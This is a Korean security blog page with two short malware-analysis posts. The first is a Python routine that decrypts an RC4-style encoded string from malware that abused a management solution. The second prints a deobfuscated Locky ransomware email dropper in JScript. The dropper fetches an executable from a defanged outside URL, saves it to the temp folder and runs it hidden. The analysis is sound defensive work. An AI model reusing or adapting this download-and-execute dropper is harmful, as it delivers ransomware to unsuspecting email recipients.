2016년 3월 29일 화요일

[M사 솔루션 취약점을 활용한 악성코드] 암호화 데이터 복호화 루틴 / Encode String Decode Routine

* 서론

관리 솔루션으로 유명한 M사의 솔루션을 이용한 악성코드를 분석했다.

딱히 내용은 없고 서버가 살아있지 않아서 중단.

대신 추후 비슷한 공격이 있을 수 있으니 암호화 데이터 복호화 루틴 구현.

* 코드


#!/usr/bin/python
# -*- coding: utf-8 -*-
__author__ = 'NOFACELAB'

import sys

def main():
 key = "\x78\x56\x34\x12"
 key_size = len(key)
 encode_data = "\xEF\xD3\xDF\xF2\xEB\xC1\x6B\xE1\x06\xB7\x83\xD6\x1F\x63\x14\x63"
 encode_data += "\x8A\x03\x45\xE6\xD1\xF2\xA9\x5E\x6B\x44\x1F\x69\xBA\x9E\x84\x3A"
 encode_data += "\x5C\x8F\x41\x8E\xCB\x79\x89\x62\x71\x0B\x1C\x96\x55\xC2\x62\x84"
 encode_data += "\x79\x51\x3F\xDE\x4D\xFC\xB8\xD3\xF4\xB4\xF2\x3F\x66\x7C\x95\x2B"
 encode_data_size = len(encode_data)
 decode_data = ""
 
 xorKeySize = 256
 xorKeyData = [x for x in range(xorKeySize)]
 xorKeyDataKey = [key[x % 4] for x in range(xorKeySize)]
 
 idx = 0
 for i in range(0, xorKeySize):
  c = xorKeyData[i]
  idx = divmod(c + ord(xorKeyDataKey[i]) + idx, xorKeySize)[1]
  xorKeyData[i] = xorKeyData[idx]
  xorKeyData[idx] = c
  
 idx = 0
 cnt = 0
 for i in range(0, encode_data_size):
  idx = (idx + 1) % xorKeySize
  c = xorKeyData[idx]
  cnt = divmod(c + cnt, xorKeySize)[1]
  xorKeyData[idx] = xorKeyData[cnt]
  xorKeyData[cnt] = c
  decode_data += '%c' % (ord(encode_data[i]) ^ xorKeyData[divmod(c + int(xorKeyData[idx]), xorKeySize)[1]])
  
 print decode_data
 
 return

if __name__ == '__main__':
 main()

[Locky 랜섬웨어/Locky Ransomware] Dropper 난독화 스크립트 복호화 / Script Deobfuscation



* 서론

이메일을 통해 배포되는 스크립트는 난독화(Obfuscation)이 되어있다.

난독화 수준이 어렵지 않아 금방 해독 할 수 있다.

난독화 수준은 문자열이 변수로 치환되어있는 수준밖에 안되서 하나하나씩 바꿔가면서 풀 수 있다. (수동적인 방법이 싫다면 좀더 능동적인 방법이 있지만..)

보통 아래의 샘플같이 작성되어있고 URL만 바꿔서 배포된다.

* 코드

WshShell = WScript["CreateObject"]("WScript.Shell");
filepath = WshShell["ExpandEnvironmentStrings"]("%TEMP%/") + "BEEj10nQLFPynvY.exe";

http = WScript.CreateObject("MSXML2.XMLHTTP");
http.open("GET", "http://www[.]liveshowgirl[.]com/8i5ju4g34", false);
http.send();
while (http.readystate < 4)
{
 WScript.Sleep(1000)
};

stream = WScript["CreateObject"]("ADODB.Stream");
stream.open();
stream.type = 1;
stream.write(http.ResponseBody);
stream.position = 0;
stream.SaveToFile(filepath, 2);
stream.close();

WshShell["Run"](filepath, 0, 0);

BLDwYbnwPsgitOR = "asd;lfkjaosdfau7hgsd8fa7ogsdfyauhisdf724";
DXLHOmBhsgs = "asd;lfkjaosdfau7hgsd8fa7ogsdfyauhisdf533";
vmrCGhXWnUP = "asd;lfkjaosdfau7hgsd8fa7ogsdfyauhisdf1003";
© NoFaceLab
Maira Gall